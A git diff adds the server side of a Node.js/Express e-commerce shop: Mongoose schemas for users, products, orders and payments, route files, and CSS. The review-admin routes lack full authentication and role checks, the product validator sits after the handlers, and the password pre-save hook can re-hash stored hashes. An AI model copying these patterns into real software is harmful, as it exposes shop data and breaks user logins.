}, { timestamps: true });
|
||||
module.exports = mongoose.model('wishlist', wishSchema);
|
||||
18
server/models/minedProduct.js
Normal file
@@ -0,0 +1,18 @@
|
||||
const mongoose = require("mongoose");
|
||||
const Schema = mongoose.Schema
|
||||
const forYouSchema = new mongoose.Schema({
|
||||
forYou: [{
|
||||
user:{
|
||||
type: Schema.Types.ObjectId,
|
||||
ref: 'user',
|
||||
unique: true
|
||||
},
|
||||
products: [{
|
||||
type: Schema.Types.ObjectId,
|
||||
ref: 'product',
|
||||
unique: true
|
||||
}]
|
||||
}]
|
||||
});
|
||||
|
||||
module.exports = mongoose.model("minedproduct", forYouSchema);
|
||||
92
server/models/orderModel.js
Normal file
@@ -0,0 +1,92 @@
|
||||
const mongoose = require('mongoose');
|
||||
|
||||
const orderSchema = new mongoose.Schema({
|
||||
shippingInfo: {
|
||||
address: {
|
||||
type: String,
|
||||
required: true
|
||||
},
|
||||
city: {
|
||||
type: String,
|
||||
required: true
|
||||
},
|
||||
state: {
|
||||
type: String,
|
||||
required: true
|
||||
},
|
||||
country: {
|
||||
type: String,
|
||||
required: true
|
||||
},
|
||||
pincode: {
|
||||
type: Number,
|
||||
required: true
|
||||
},
|
||||
phoneNo: {
|
||||
type: Number,
|
||||
required: true
|
||||
},
|
||||
},
|
||||
orderItems: [
|
||||
{
|
||||
name: {
|
||||
type: String,
|
||||
required: true
|
||||
},
|
||||
price: {
|
||||
type: Number,
|
||||
required: true
|
||||
},
|
||||
quantity: {
|
||||
type: Number,
|
||||
required: true
|
||||
},
|
||||
image: {
|
||||
type: String,
|
||||
required: true
|
||||
},
|
||||
product: {
|
||||
type: mongoose.Schema.ObjectId,
|
||||
ref: "Product",
|
||||
required: true
|
||||
},
|
||||
},
|
||||
],
|
||||
user: {
|
||||
type: mongoose.Schema.ObjectId,
|
||||
ref: "User",
|
||||
required: true
|
||||
},
|
||||
paymentInfo: {
|
||||
id: {
|
||||
type: String,
|
||||
required: true
|
||||
},
|
||||
status: {
|
||||
type: String,
|
||||
required: true
|
||||
},
|
||||
},
|
||||
paidAt: {
|
||||
type: Date,
|
||||
required: true
|
||||
},
|
||||
totalPrice: {
|
||||
type: Number,
|
||||
required: true,
|
||||
default: 0
|
||||
},
|
||||
orderStatus: {
|
||||
type: String,
|
||||
required: true,
|
||||
default: "Processing",
|
||||
},
|
||||
deliveredAt: Date,
|
||||
shippedAt: Date,
|
||||
createdAt: {
|
||||
type: Date,
|
||||
default: Date.now
|
||||
},
|
||||
});
|
||||
|
||||
module.exports = mongoose.model("Order", orderSchema);
|
||||
68
server/models/paymentModel.js
Normal file
@@ -0,0 +1,68 @@
|
||||
const mongoose = require('mongoose');
|
||||
|
||||
const paymentSchema = new mongoose.Schema({
|
||||
resultInfo: {
|
||||
resultStatus: {
|
||||
type: String,
|
||||
required: true
|
||||
},
|
||||
resultCode: {
|
||||
type: String,
|
||||
required: true
|
||||
},
|
||||
resultMsg: {
|
||||
type: String,
|
||||
required: true
|
||||
},
|
||||
},
|
||||
txnId: {
|
||||
type: String,
|
||||
required: true
|
||||
},
|
||||
bankTxnId: {
|
||||
type: String,
|
||||
required: true
|
||||
},
|
||||
orderId: {
|
||||
type: String,
|
||||
required: true
|
||||
},
|
||||
txnAmount: {
|
||||
type: String,
|
||||
required: true
|
||||
},
|
||||
txnType: {
|
||||
type: String,
|
||||
required: true
|
||||
},
|
||||
gatewayName: {
|
||||
type: String,
|
||||
required: true
|
||||
},
|
||||
bankName: {
|
||||
type: String,
|
||||
required: true
|
||||
},
|
||||
mid: {
|
||||
type: String,
|
||||
required: true
|
||||
},
|
||||
paymentMode: {
|
||||
type: String,
|
||||
required: true
|
||||
},
|
||||
refundAmt: {
|
||||
type: String,
|
||||
required: true
|
||||
},
|
||||
txnDate: {
|
||||
type: String,
|
||||
required: true
|
||||
},
|
||||
createdAt: {
|
||||
type: Date,
|
||||
default: Date.now
|
||||
}
|
||||
});
|
||||
|
||||
module.exports = mongoose.model("Payment", paymentSchema);
|
||||
122
server/models/productModel.js
Normal file
@@ -0,0 +1,122 @@
|
||||
const mongoose = require('mongoose');
|
||||
|
||||
const productSchema = new mongoose.Schema({
|
||||
name: {
|
||||
type: String,
|
||||
required: [true, "Please enter product name"],
|
||||
trim: true
|
||||
},
|
||||
description: {
|
||||
type: String,
|
||||
required: [true, "Please enter product description"]
|
||||
},
|
||||
highlights: [
|
||||
{
|
||||
type: String,
|
||||
required: true
|
||||
}
|
||||
],
|
||||
specifications: [
|
||||
{
|
||||
title: {
|
||||
type: String,
|
||||
required: true
|
||||
},
|
||||
description: {
|
||||
type: String,
|
||||
required: true
|
||||
}
|
||||
}
|
||||
],
|
||||
price: {
|
||||
type: Number,
|
||||
required: [true, "Please enter product price"]
|
||||
},
|
||||
cuttedPrice: {
|
||||
type: Number,
|
||||
required: [true, "Please enter cutted price"]
|
||||
},
|
||||
images: [
|
||||
{
|
||||
public_id: {
|
||||
type: String,
|
||||
required: true
|
||||
},
|
||||
url: {
|
||||
type: String,
|
||||
required: true
|
||||
}
|
||||
}
|
||||
],
|
||||
brand: {
|
||||
name: {
|
||||
type: String,
|
||||
required: true
|
||||
},
|
||||
logo: {
|
||||
public_id: {
|
||||
type: String,
|
||||
required: true,
|
||||
},
|
||||
url: {
|
||||
type: String,
|
||||
required: true,
|
||||
}
|
||||
}
|
||||
},
|
||||
category: {
|
||||
type: String,
|
||||
required: [true, "Please enter product category"]
|
||||
},
|
||||
stock: {
|
||||
type: Number,
|
||||
required: [true, "Please enter product stock"],
|
||||
maxlength: [4, "Stock cannot exceed limit"],
|
||||
default: 1
|
||||
},
|
||||
warranty: {
|
||||
type: Number,
|
||||
default: 1
|
||||
},
|
||||
ratings: {
|
||||
type: Number,
|
||||
default: 0
|
||||
},
|
||||
numOfReviews: {
|
||||
type: Number,
|
||||
default: 0
|
||||
},
|
||||
reviews: [
|
||||
{
|
||||
user: {
|
||||
type: mongoose.Schema.ObjectId,
|
||||
ref: "User",
|
||||
required: true
|
||||
},
|
||||
name: {
|
||||
type: String,
|
||||
required: true
|
||||
},
|
||||
rating: {
|
||||
type: Number,
|
||||
required: true
|
||||
},
|
||||
comment: {
|
||||
type: String,
|
||||
required: true
|
||||
}
|
||||
}
|
||||
],
|
||||
|
||||
user: {
|
||||
type: mongoose.Schema.ObjectId,
|
||||
ref: "User",
|
||||
required: true
|
||||
},
|
||||
createdAt: {
|
||||
type: Date,
|
||||
default: Date.now
|
||||
}
|
||||
});
|
||||
|
||||
module.exports = mongoose.model('Product', productSchema);
|
||||
78
server/models/userModel.js
Normal file
@@ -0,0 +1,78 @@
|
||||
const mongoose = require('mongoose');
|
||||
const validator = require('validator');
|
||||
const bcrypt = require('bcryptjs');
|
||||
const jwt = require('jsonwebtoken');
|
||||
const crypto = require('crypto');
|
||||
|
||||
const userSchema = new mongoose.Schema({
|
||||
name: {
|
||||
type: String,
|
||||
required: [true, "Please Enter Your Name"],
|
||||
},
|
||||
email: {
|
||||
type: String,
|
||||
required: [true, "Please Enter Your Email"],
|
||||
unique: true,
|
||||
},
|
||||
gender: {
|
||||
type: String,
|
||||
required: [true, "Please Enter Gender"]
|
||||
},
|
||||
password: {
|
||||
type: String,
|
||||
required: [true, "Please Enter Your Password"],
|
||||
minLength: [8, "Password should have atleast 8 chars"],
|
||||
select: false,
|
||||
},
|
||||
avatar: {
|
||||
public_id: {
|
||||
type: String,
|
||||
},
|
||||
url: {
|
||||
type: String,
|
||||
}
|
||||
},
|
||||
role: {
|
||||
type: String,
|
||||
default: "user",
|
||||
},
|
||||
createdAt: {
|
||||
type: Date,
|
||||
default: Date.now,
|
||||
},
|
||||
resetPasswordToken: String,
|
||||
resetPasswordExpire: Date,
|
||||
});
|
||||
|
||||
userSchema.pre("save", async function (next) {
|
||||
|
||||
if (!this.isModified("password")) {
|
||||
next();
|
||||
}
|
||||
|
||||
this.password = await bcrypt.hash(this.password, 10);
|
||||
});
|
||||
|
||||
userSchema.methods.getJWTToken = function () {
|
||||
return jwt.sign({ id: this._id }, process.env.JWT_SECRET, {
|
||||
expiresIn: process.env.JWT_EXPIRE
|
||||
});
|
||||
}
|
||||
|
||||
userSchema.methods.comparePassword = async function (enteredPassword) {
|
||||
return await bcrypt.compare(enteredPassword, this.password);
|
||||
}
|
||||
|
||||
userSchema.methods.getResetPasswordToken = async function () {
|
||||
|
||||
// generate token
|
||||
const resetToken = crypto.randomBytes(20).toString("hex");
|
||||
|
||||
// generate hash token and add to db
|
||||
this.resetPasswordToken = crypto.createHash("sha256").update(resetToken).digest("hex");
|
||||
this.resetPasswordExpire = Date.now() + 15 * 60 * 1000;
|
||||
|
||||
return resetToken;
|
||||
}
|
||||
|
||||
module.exports = mongoose.model('User', userSchema);
|
||||
0
server/public/android-chrome-192x192.png
Normal file
6
server/public/css/auth.css
Normal file
@@ -0,0 +1,6 @@
|
||||
.login-form {
|
||||
width: 20rem;
|
||||
max-width: 90%;
|
||||
margin: auto;
|
||||
display: block;
|
||||
}
|
||||
24
server/public/css/cart.css
Normal file
@@ -0,0 +1,24 @@
|
||||
.cart__item-list {
|
||||
list-style: none;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
margin: auto;
|
||||
width: 40rem;
|
||||
max-width: 90%;
|
||||
}
|
||||
|
||||
.cart__item {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: space-between;
|
||||
padding: 1rem;
|
||||
box-shadow: 0 2px 8px rgba(6, 18, 134, 0.788);
|
||||
margin-bottom: 1rem;
|
||||
}
|
||||
|
||||
.cart__item h1,
|
||||
.cart__item h2 {
|
||||
margin-right: 1rem;
|
||||
font-size: 1.2rem;
|
||||
margin: 0;
|
||||
}
|
||||
23
server/public/css/forms.css
Normal file
@@ -0,0 +1,23 @@
|
||||
.form-control {
|
||||
margin: 1rem 0;
|
||||
}
|
||||
|
||||
.form-control label,
|
||||
.form-control input,
|
||||
.form-control textarea {
|
||||
display: block;
|
||||
width: 100%;
|
||||
margin-bottom: 0.25rem;
|
||||
}
|
||||
|
||||
.form-control input,
|
||||
.form-control textarea {
|
||||
border: 1px solid #a1a1a1;
|
||||
font: inherit;
|
||||
border-radius: 2px;
|
||||
}
|
||||
|
||||
.form-control input:focus,
|
||||
.form-control textarea:focus {
|
||||
outline-color: #0e04276e;
|
||||
}
|
||||
302
server/public/css/main.css
Normal file
@@ -0,0 +1,302 @@
|
||||
@import url("https://fonts.googleapis.com/css?family=Open+Sans:400,700");
|
||||
@import url("https://fonts.googleapis.com/css2?family=Nanum+Gothic:wght@700&display=swap");
|
||||
|
||||
* {
|
||||
box-sizing: border-box;
|
||||
}
|
||||
@import url("https://fonts.googleapis.com/css2?family=Ranchers&display=swap");
|
||||
.logo-custom {
|
||||
font-family: "Ranchers";
|
||||
font-size: 22px;
|
||||
}
|
||||
|
||||
body {
|
||||
padding: 0;
|
||||
margin: 0;
|
||||
font-family: "Nanum Gothic", "Open Sans", sans-serif;
|
||||
}
|
||||
|
||||
main {
|
||||
padding: 1rem;
|
||||
margin: auto;
|
||||
}
|
||||
|
||||
form {
|
||||
display: inline;
|
||||
}
|
||||
|
||||
.centered {
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
.image {
|
||||
height: 20rem;
|
||||
}
|
||||
|
||||
.image img {
|
||||
height: 100%;
|
||||
}
|
||||
|
||||
.main-header {
|
||||
width: 100%;
|
||||
height: 3.5rem;
|
||||
|
||||
background: linear-gradient(
|
||||
90deg,
|
||||
rgba(2, 0, 36, 1) 0%,
|
||||
rgba(13, 13, 38, 1) 0%,
|
||||
rgba(0, 212, 255, 1) 100%
|
||||
);
|
||||
padding: 0 1.5rem;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
box-shadow: 0 2px 10px rgba(6, 81, 241, 0.637);
|
||||
}
|
||||
|
||||
.main-header__nav {
|
||||
height: 100%;
|
||||
width: 100%;
|
||||
display: none;
|
||||
align-items: center;
|
||||
justify-content: space-between;
|
||||
}
|
||||
|
||||
.main-header__item-list {
|
||||
list-style: none;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
display: flex;
|
||||
}
|
||||
|
||||
.main-header__item {
|
||||
margin: 0 1rem;
|
||||
padding: 1rem;
|
||||
}
|
||||
|
||||
.main-header__item a,
|
||||
.main-header__item button {
|
||||
font: inherit;
|
||||
background: transparent;
|
||||
border: none;
|
||||
text-decoration: none;
|
||||
color: white;
|
||||
cursor: pointer;
|
||||
}
|
||||
|
||||
.main-header__item a:hover,
|
||||
.main-header__item a:active,
|
||||
.main-header__item a.active,
|
||||
.main-header__item button:hover,
|
||||
.main-header__item button:active {
|
||||
color: #ffeb3b;
|
||||
}
|
||||
|
||||
.mobile-nav {
|
||||
width: 30rem;
|
||||
height: 100vh;
|
||||
max-width: 90%;
|
||||
position: fixed;
|
||||
left: 0;
|
||||
top: 0;
|
||||
background: white;
|
||||
z-index: 10;
|
||||
padding: 2rem 1rem 1rem 2rem;
|
||||
transform: translateX(-100%);
|
||||
transition: transform 0.3s ease-out;
|
||||
}
|
||||
|
||||
.mobile-nav.open {
|
||||
transform: translateX(0);
|
||||
}
|
||||
|
||||
.mobile-nav__item-list {
|
||||
list-style: none;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
}
|
||||
|
||||
.mobile-nav__item {
|
||||
margin: 1rem;
|
||||
padding: 0;
|
||||
}
|
||||
|
||||
.mobile-nav__item a,
|
||||
.mobile-nav__item button {
|
||||
font: inherit;
|
||||
text-decoration: none;
|
||||
color: black;
|
||||
font-size: 1.5rem;
|
||||
padding: 0.5rem 2rem;
|
||||
background: transparent;
|
||||
border: none;
|
||||
cursor: pointer;
|
||||
}
|
||||
|
||||
.mobile-nav__item a:active,
|
||||
.mobile-nav__item a:hover,
|
||||
.mobile-nav__item a.active,
|
||||
.mobile-nav__item button:hover,
|
||||
.mobile-nav__item button:active {
|
||||
background: linear-gradient(
|
||||
90deg,
|
||||
rgba(2, 0, 36, 1) 0%,
|
||||
rgba(13, 13, 38, 1) 0%,
|
||||
rgba(0, 212, 255, 1) 100%
|
||||
);
|
||||
color: white;
|
||||
border-radius: 3px;
|
||||
}
|
||||
|
||||
#side-menu-toggle {
|
||||
border: 1px solid white;
|
||||
font: inherit;
|
||||
padding: 0.5rem;
|
||||
display: block;
|
||||
background: transparent;
|
||||
color: white;
|
||||
cursor: pointer;
|
||||
}
|
||||
|
||||
#side-menu-toggle:focus {
|
||||
outline: none;
|
||||
}
|
||||
|
||||
#side-menu-toggle:active,
|
||||
#side-menu-toggle:hover {
|
||||
color: #ffeb3b;
|
||||
border-color: #ffeb3b;
|
||||
}
|
||||
|
||||
.backdrop {
|
||||
position: fixed;
|
||||
top: 0;
|
||||
left: 0;
|
||||
width: 100%;
|
||||
height: 100vh;
|
||||
background: rgba(0, 0, 0, 0.5);
|
||||
z-index: 5;
|
||||
display: none;
|
||||
}
|
||||
|
||||
.grid {
|
||||
display: flex;
|
||||
flex-wrap: wrap;
|
||||
justify-content: space-around;
|
||||
align-items: stretch;
|
||||
}
|
||||
|
||||
.card {
|
||||
box-shadow: 0 2px 8px rgba(4, 151, 196, 0.425);
|
||||
|
||||
justify-content: center;
|
||||
}
|
||||
|
||||
.card__header,
|
||||
.card__content {
|
||||
padding: 1rem;
|
||||
}
|
||||
|
||||
.card__header h1,
|
||||
.card__content h1,
|
||||
.card__content h2,
|
||||
.card__content p {
|
||||
margin: 0;
|
||||
}
|
||||
|
||||
.card__image {
|
||||
width: 100%;
|
||||
}
|
||||
|
||||
.card__image img {
|
||||
width: 100%;
|
||||
}
|
||||
|
||||
.card__actions {
|
||||
padding: 1rem;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
.card__actions button,
|
||||
.card__actions a {
|
||||
margin: 0 0.25rem;
|
||||
}
|
||||
|
||||
.btn {
|
||||
display: inline-block;
|
||||
padding: 0.25rem 1rem;
|
||||
text-decoration: none;
|
||||
font: inherit;
|
||||
border: 1px solid #0d042e;
|
||||
color: #0d042e;
|
||||
background: white;
|
||||
border-radius: 3px;
|
||||
cursor: pointer;
|
||||
}
|
||||
|
||||
.btn:hover,
|
||||
.btn:active {
|
||||
background-color: #0d042e;
|
||||
color: white;
|
||||
}
|
||||
|
||||
.btn.danger {
|
||||
color: red;
|
||||
border-color: red;
|
||||
}
|
||||
|
||||
.btn.danger:hover,
|
||||
.btn.danger:active {
|
||||
background: red;
|
||||
color: white;
|
||||
}
|
||||
.user-message {
|
||||
margin: auto;
|
||||
width: 90%;
|
||||
border: 1px solid rgb(6, 71, 97);
|
||||
padding: 0rem;
|
||||
|
||||
color: rgb(6, 71, 97);
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
}
|
||||
.user-message--error {
|
||||
background: white;
|
||||
border: 1px solid red;
|
||||
color: red;
|
||||
}
|
||||
.pagination {
|
||||
margin-top: 2rem;
|
||||
text-align: center;
|
||||
}
|
||||
.pagination a {
|
||||
text-decoration: none;
|
||||
color: rgb(4, 59, 41);
|
||||
padding: 1rem;
|
||||
border: 1px solid rgb(4, 59, 41);
|
||||
margin: 0 1rem;
|
||||
border-radius: 50%;
|
||||
}
|
||||
.pagination a:hover,
|
||||
.pagination a:active,
|
||||
.pagination a.active {
|
||||
background-color: rgb(4, 19, 59);
|
||||
color: white;
|
||||
}
|
||||
|
||||
@media (min-width: 768px) {
|
||||
.main-header__nav {
|
||||
display: flex;
|
||||
}
|
||||
|
||||
#side-menu-toggle {
|
||||
display: none;
|
||||
}
|
||||
.user-message {
|
||||
width: 30rem;
|
||||
}
|
||||
}
|
||||
img {
|
||||
height: 15rem;
|
||||
}
|
||||
29
server/public/css/orders.css
Normal file
@@ -0,0 +1,29 @@
|
||||
.orders {
|
||||
list-style: none;
|
||||
padding: 0;
|
||||
margin: 0;
|
||||
}
|
||||
|
||||
.orders__item h1 {
|
||||
margin: 0;
|
||||
font-size: 1rem;
|
||||
}
|
||||
|
||||
.orders__item {
|
||||
box-shadow: 2px 2px 8px 2px rgba(3, 1, 82, 0.822);
|
||||
padding: 1rem;
|
||||
margin-bottom: 1rem;
|
||||
}
|
||||
|
||||
.orders__products {
|
||||
list-style: none;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
}
|
||||
|
||||
.orders__products-item {
|
||||
margin: 0.5rem 0;
|
||||
padding: 0.5rem;
|
||||
border: 1px solid #070957;
|
||||
color: #170653;
|
||||
}
|
||||
27
server/public/css/product.css
Normal file
@@ -0,0 +1,27 @@
|
||||
.product-form {
|
||||
width: 20rem;
|
||||
max-width: 90%;
|
||||
margin: auto;
|
||||
display: block;
|
||||
}
|
||||
|
||||
.product-item {
|
||||
width: 20rem;
|
||||
max-width: 95%;
|
||||
margin: 1rem;
|
||||
}
|
||||
|
||||
.product__title {
|
||||
font-size: 1.2rem;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
.product__price {
|
||||
text-align: center;
|
||||
color: #4d4d4d;
|
||||
margin-bottom: 0.5rem;
|
||||
}
|
||||
|
||||
.product__description {
|
||||
text-align: center;
|
||||
}
|
||||
16
server/public/js/main.js
Normal file
@@ -0,0 +1,16 @@
|
||||
const backdrop = document.querySelector('.backdrop');
|
||||
const sideDrawer = document.querySelector('.mobile-nav');
|
||||
const menuToggle = document.querySelector('#side-menu-toggle');
|
||||
|
||||
function backdropClickHandler() {
|
||||
backdrop.style.display = 'none';
|
||||
sideDrawer.classList.remove('open');
|
||||
}
|
||||
|
||||
function menuToggleClickHandler() {
|
||||
backdrop.style.display = 'block';
|
||||
sideDrawer.classList.add('open');
|
||||
}
|
||||
|
||||
backdrop.addEventListener('click', backdropClickHandler);
|
||||
menuToggle.addEventListener('click', menuToggleClickHandler);
|
||||
17
server/routes/orderRoute.js
Normal file
@@ -0,0 +1,17 @@
|
||||
const express = require('express');
|
||||
const { newOrder, getSingleOrderDetails, myOrders, getAllOrders, updateOrder, deleteOrder } = require('../controllers/orderController');
|
||||
const { isAuthenticatedUser, authorizeRoles } = require('../middlewares/user_actions/auth');
|
||||
|
||||
const router = express.Router();
|
||||
|
||||
router.route('/order/new').post(isAuthenticatedUser, newOrder);
|
||||
router.route('/order/:id').get(isAuthenticatedUser, getSingleOrderDetails);
|
||||
router.route('/orders/me').get(isAuthenticatedUser, myOrders);
|
||||
|
||||
router.route('/admin/orders').get(isAuthenticatedUser, authorizeRoles("admin"), getAllOrders);
|
||||
|
||||
router.route('/admin/order/:id')
|
||||
.put(isAuthenticatedUser, authorizeRoles("admin"), updateOrder)
|
||||
.delete(isAuthenticatedUser, authorizeRoles("admin"), deleteOrder);
|
||||
|
||||
module.exports = router;
|
||||
13
server/routes/paymentRoute.js
Normal file
@@ -0,0 +1,13 @@
|
||||
const express = require('express');
|
||||
const { processPayment, paytmResponse, getPaymentStatus } = require('../controllers/paymentController');
|
||||
const { isAuthenticatedUser } = require('../middlewares/user_actions/auth');
|
||||
|
||||
const router = express.Router();
|
||||
|
||||
router.route('/payment/process').post(processPayment);
|
||||
|
||||
router.route('/callback').post(paytmResponse);
|
||||
|
||||
router.route('/payment/status/:id').get(isAuthenticatedUser, getPaymentStatus);
|
||||
|
||||
module.exports = router;
|
||||
26
server/routes/productRoute.js
Normal file
@@ -0,0 +1,26 @@
|
||||
const express = require('express');
|
||||
const { getAllProducts, getProductDetails, updateProduct, deleteProduct, getProductReviews, deleteReview, createProductReview, createProduct, getAdminProducts, getProducts } = require('../controllers/productController');
|
||||
const { isAuthenticatedUser, authorizeRoles } = require('../middlewares/user_actions/auth');
|
||||
const { validateProduct } = require('../middlewares/validator');
|
||||
|
||||
const router = express.Router();
|
||||
|
||||
router.route('/products').get(getAllProducts);
|
||||
router.route('/products/all').get(getProducts);
|
||||
|
||||
router.route('/admin/products').get(isAuthenticatedUser, authorizeRoles("admin"), getAdminProducts, validateProduct);
|
||||
router.route('/admin/product/new').post(isAuthenticatedUser, authorizeRoles("admin"), createProduct, validateProduct);
|
||||
|
||||
router.route('/admin/product/:id')
|
||||
.put(isAuthenticatedUser, authorizeRoles("admin"), updateProduct)
|
||||
.delete(isAuthenticatedUser, authorizeRoles("admin"), deleteProduct);
|
||||
|
||||
router.route('/product/:id').get(getProductDetails);
|
||||
|
||||
router.route('/review').put(isAuthenticatedUser, createProductReview);
|
||||
|
||||
router.route('/admin/reviews')
|
||||
.get(getProductReviews)
|
||||
.delete(isAuthenticatedUser, deleteReview);
|
||||
|
||||
module.exports = router;
|
||||
27
server/routes/userRoute.js
Normal file
@@ -0,0 +1,27 @@
|
||||
const express = require('express');
|
||||
const { registerUser, loginUser, logoutUser, getUserDetails, forgotPassword, resetPassword, updatePassword, updateProfile, getAllUsers, getSingleUser, updateUserRole, deleteUser } = require('../controllers/userController');
|
||||
const { isAuthenticatedUser, authorizeRoles } = require('../middlewares/user_actions/auth');
|
||||
|
||||
const router = express.Router();
|
||||
|
||||
router.route('/register').post(registerUser);
|
||||
router.route('/login').post(loginUser);
|
||||
router.route('/logout').get(logoutUser);
|
||||
|
||||
router.route('/me').get(isAuthenticatedUser, getUserDetails);
|
||||
|
||||
router.route('/password/forgot').post(forgotPassword);
|
||||
router.route('/password/reset/:token').put(resetPassword);
|
||||
|
||||
router.route('/password/update').put(isAuthenticatedUser, updatePassword);
|
||||
|
||||
router.route('/me/update').put(isAuthenticatedUser, updateProfile);
|
||||
|
||||
router.route("/admin/users").get(isAuthenticatedUser, authorizeRoles("admin"), getAllUsers);
|
||||
|
||||
router.route("/admin/user/:id")
|
||||
.get(isAuthenticatedUser, authorizeRoles("admin"), getSingleUser)
|
||||
.put(isAuthenticatedUser, authorizeRoles("admin"), updateUserRole)
|
||||
.delete(isAuthenticatedUser, authorizeRoles("admin"), deleteUser);
|
||||
|
||||
module.exports = router;
|
||||